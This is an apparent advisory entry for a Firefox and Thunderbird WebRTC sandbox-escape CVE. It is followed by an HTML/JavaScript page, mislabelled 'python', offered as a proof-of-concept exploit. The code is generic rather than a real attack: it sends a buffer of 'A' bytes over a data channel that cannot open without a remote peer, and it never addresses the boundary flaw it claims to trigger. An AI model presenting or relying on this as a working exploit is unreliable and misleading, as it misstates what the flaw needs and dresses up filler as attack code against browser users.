Sandbox escape due to incorrect boundary conditions in the WebRTC: Networking component. This vulnerability was fixed in Firefox 150, Thunderbird 150, Firefox ESR 140.10.1, and Thunderbird 140.10.1.
The following code is for security research and authorized testing only.
python
<!--
// PoC Concept for CVE-2026-7321: WebRTC Sandbox Escape
// This script attempts to trigger the boundary condition vulnerability.
// Usage: Open in a vulnerable version of Firefox.
-->
<html>
<head><title>CVE-2026-7321 PoC</title></head>
<body>
<script>
// Create a PeerConnection to initialize WebRTC Networking
const pc = new RTCPeerConnection();
// Create a Data Channel to send data
const dc = pc.createDataChannel("trigger");
dc.onopen = function() {
console.log("[+] Channel open, sending payload...");
// Construct a payload to potentially hit incorrect boundary conditions
// Note: Real exploitation requires precise memory layout control
const buffer = new ArrayBuffer(0x1000);
const view = new Uint8Array(buffer);
view.fill(0x41); // Fill with 'A'
try {
dc.send(buffer);
console.log("[+] Payload sent.");
} catch(e) {
console.log("[-] Send failed: " + e);
}
};
// Start the connection process
pc.createOffer().then(offer => pc.setLocalDescription(offer));
</script>
<p>Check console for PoC execution status.</p>
</body>
</html>